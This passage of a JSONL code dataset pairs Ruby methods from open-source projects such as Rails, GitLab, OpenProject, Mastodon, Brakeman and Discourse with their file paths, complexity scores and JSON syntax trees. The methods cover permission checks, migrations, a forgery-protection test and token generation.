end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"jobs_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jobs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"marshalled\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"args\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"marshalled\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"lvar\",\"children\":[\"marshalled\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]}","id":"e96ac4a2-c1ae-478f-b962-5ed13a284543"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/message.rb","start_line":125,"raw_source":"def destroyable_by?(usr)\n    usr && usr.logged? &&\n    (usr.allowed_in_project?(:delete_messages,\n                             project) || (author == usr && usr.allowed_in_project?(:delete_own_messages, project)))\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroyable_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usr\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"logged?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"delete_messages\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"usr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"delete_own_messages\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}]}]}","id":"f17844c0-e26d-4781-a056-a677cebee118"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract/callbacks_test.rb","start_line":170,"raw_source":"def public_data\n        @authenticated = \"false\"\n        self.response_body = @authenticated\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"public_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@authenticated\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"response_body=\",{\"type\":\"ivar\",\"children\":[\"@authenticated\"]}]}]}]}","id":"15002026-3339-4b60-b900-e9c42b99be3b"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/connection.rb","start_line":36,"raw_source":"def post(url, payload, &)\n      @connection.post url, payload do |req|\n        req.headers.merge! @provider.headers if @provider.respond_to?(:headers)\n        yield req if block_given?\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"post\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@provider\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@provider\"]},\"headers\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]}]},null]}]}]}]}","id":"2e199ee4-826d-497c-bc18-3140708e649e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/telegram.rb","start_line":102,"raw_source":"def set_webhook\n          hostname = self.hostname.presence || 'https://api.telegram.org'\n          self.webhook = format(TELEGRAM_HOSTNAME, hostname: hostname, token: token) if token.present?\n        end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_webhook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hostname\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"https://api.telegram.org\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"webhook=\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"TELEGRAM_HOSTNAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]}]}]}]},null]}]}]}","id":"c4fd92d4-d9cb-4e5d-b21a-fbfde4d1a030"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/filters.rb","start_line":350,"raw_source":"def within_values(id)\n        page.within(\"#filter_#{id} .advanced-filters--filter-value\", wait: 10) do\n          yield page.has_selector?(\".ng-select-container\", wait: false)\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"within_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#filter_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\" .advanced-filters--filter-value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_selector?\",{\"type\":\"str\",\"children\":[\".ng-select-container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"18eb8ada-2b2f-4d10-9d7b-47ffc544d8cb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":571,"raw_source":"def abbreviated_class_name\n    self.class.abbreviated_class_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"abbreviated_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"abbreviated_class_name\"]}]}","id":"b7232207-ffcb-4b35-ba82-fe3a0da323c0"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_mass_assignment.rb","start_line":64,"raw_source":"def process_result res\n    call = res[:call]\n\n    check = check_call call\n\n    if check and original? res\n\n      model = tracker.models[res[:chain].first]\n      attr_protected = (model and model.attr_protected)\n      first_arg = call.first_arg\n\n      if attr_protected and tracker.options[:ignore_attr_protected]\n        return\n      elsif call? first_arg and (first_arg.method == :slice or first_arg.method == :only)\n        return\n      elsif input = include_user_input?(call.arglist)\n        if not node_type? first_arg, :hash\n          if attr_protected\n            confidence = :medium\n          else\n            confidence = :high\n          end\n        else\n          return\n        end\n      elsif node_type? call.first_arg, :lit, :str\n        return\n      else\n        confidence = :weak\n        input = nil\n      end\n\n      warn :result => res,\n        :warning_type => \"Mass Assignment\",\n        :warning_code => :mass_assign_call,\n        :message => \"Unprotected mass assignment\",\n        :code => call,\n        :user_input => input,\n        :confidence => confidence,\n        :cwe_id => [915]\n    end\n\n    res\n  end","complexity_score":65.45,"ast_json":"{\"type\":\"def\",\"children\":[\"process_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"check\",{\"type\":\"send\",\"children\":[null,\"check_call\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},{\"type\":\"send\",\"children\":[null,\"original?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"models\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chain\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attr_protected\",{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"attr_protected\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"first_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_protected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_attr_protected\"]}]}]},{\"type\":\"return\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_arg\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"slice\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_arg\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"arglist\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]},\"!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_protected\"]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"first_arg\"]},{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"str\"]}]},{\"type\":\"return\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"weak\"]}]},{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Mass Assignment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"mass_assign_call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Unprotected mass assignment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[915]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"1a781bf6-e736-4da0-a04a-a0a353394b52"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/delayed_modify.rb","start_line":43,"raw_source":"def redirect_to_status(request, job)\n            request.redirect api_v3_paths.job_status(job.job_id)\n            request.content_type \"application/json\"\n          end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"redirect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"job_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"job_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"content_type\",{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}","id":"e2dfd944-82b2-40e9-b8cd-3c467a2de40f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220304195405_migrate_hide_network_preference.rb","start_line":23,"raw_source":"def up\n    Account.reset_column_information\n\n    Setting.unscoped.where(thing_type: 'User', var: 'hide_network').find_each do |setting|\n      account = User.find(setting.thing_id).account\n\n      ApplicationRecord.transaction do\n        account.update(hide_collections: setting.value)\n        setting.delete\n      end\n    rescue ActiveRecord::RecordNotFound\n      next\n    end\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"reset_column_information\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"unscoped\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thing_type\"]},{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"str\",\"children\":[\"hide_network\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"account\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"thing_id\"]}]},\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_collections\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"delete\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]}]}]}","id":"cb48b7fa-393d-4277-8cc9-3b227b5e101e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":432,"raw_source":"def test_should_not_allow_delete_without_token\n    assert_blocked { delete :index }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_allow_delete_without_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}","id":"f86d4091-4a27-4d03-bf27-a3e4e59ac67a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241008140204_add_epic_issue_work_item_parent_link_constraints.rb","start_line":16,"raw_source":"def down\n    remove_concurrent_index_by_name :epic_issues, INDEX_NAME\n    remove_foreign_key_if_exists :epic_issues, column: :work_item_parent_link_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"epic_issues\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"epic_issues\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"work_item_parent_link_id\"]}]}]}]}]}]}","id":"0d5e4525-43ba-4bf3-b705-1e596f5644f1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/secure_token.rb","start_line":53,"raw_source":"def has_secure_token(attribute = :token, length: MINIMUM_TOKEN_LENGTH, on: ActiveRecord.generate_secure_token_on, prefix: nil)\n        if length < MINIMUM_TOKEN_LENGTH\n          raise MinimumLengthError, \"Token requires a minimum length of #{MINIMUM_TOKEN_LENGTH} characters.\"\n        end\n\n        prefix = \"#{attribute}_\" if prefix == true\n\n        if prefix\n          generate_token = -> do\n            token = self.generate_unique_secure_token(length: length)\n\n            \"#{prefix}#{token}\"\n          end\n        else\n          generate_token = -> { self.generate_unique_secure_token(length: length) }\n        end\n\n        # Load securerandom only when has_secure_token is used.\n        require \"active_support/core_ext/securerandom\"\n        define_method(\"regenerate_#{attribute}\") { update! attribute => generate_token.call }\n        set_callback on, on == :initialize ? :after : :before do\n          if new_record? && !query_attribute(attribute)\n            send(\"#{attribute}=\", generate_token.call)\n          end\n        end\n      end","complexity_score":42.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_secure_token\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attribute\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"length\",{\"type\":\"const\",\"children\":[null,\"MINIMUM_TOKEN_LENGTH\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"generate_secure_token_on\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"MINIMUM_TOKEN_LENGTH\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MinimumLengthError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Token requires a minimum length of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MINIMUM_TOKEN_LENGTH\"]}]},{\"type\":\"str\",\"children\":[\" characters.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"lvasgn\",\"children\":[\"generate_token\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_unique_secure_token\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"generate_token\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_unique_secure_token\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"active_support/core_ext/securerandom\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"regenerate_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generate_token\"]},\"call\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"lvar\",\"children\":[\"on\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on\"]},\"==\",{\"type\":\"sym\",\"children\":[\"initialize\"]}]},{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"sym\",\"children\":[\"before\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generate_token\"]},\"call\"]}]},null]}]}]}]}","id":"e1d5816f-ee39-4d9c-a533-520f6ffe9fc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/trusted_proxies.rb","start_line":39,"raw_source":"def ip\n    @ip ||= (get_header(\"action_dispatch.remote_ip\") || super).to_s\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"str\",\"children\":[\"action_dispatch.remote_ip\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]},\"to_s\"]}]}]}","id":"cf7dd913-4b8f-40ed-a4b3-bda33f989a2f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250716005451_copy_translation_model_to_persona.rb","start_line":3,"raw_source":"def up\n    ai_translation_model =\n      DB.query_single(\"SELECT value FROM site_settings WHERE name = 'ai_translation_model'\").first\n\n    if ai_translation_model.present? && ai_translation_model.start_with?(\"custom:\")\n      # Extract the model ID from the setting value (e.g., \"custom:-5\" -> \"-5\")\n      model_id = ai_translation_model.split(\":\").last\n\n      persona_settings = %w[\n        ai_translation_locale_detector_persona\n        ai_translation_post_raw_translator_persona\n        ai_translation_topic_title_translator_persona\n        ai_translation_short_text_translator_persona\n      ]\n      default_persona_ids = [-27, -28, -29, -30]\n\n      persona_ids_query =\n        persona_settings\n          .map { |setting| \"SELECT value FROM site_settings WHERE name = '#{setting}'\" }\n          .join(\" UNION \")\n      persona_ids = DB.query_single(persona_ids_query).compact\n\n      all_persona_ids = (default_persona_ids + persona_ids).map(&:to_i).uniq.join(\",\")\n\n      # Update the translation personas (IDs -27, -28, -29, -30) with the extracted model ID\n      execute(<<~SQL)\n        UPDATE ai_personas\n        SET default_llm_id = #{model_id}\n        WHERE id IN (#{all_persona_ids}) AND default_llm_id IS NULL\n      SQL\n    end\n  end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai_translation_model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 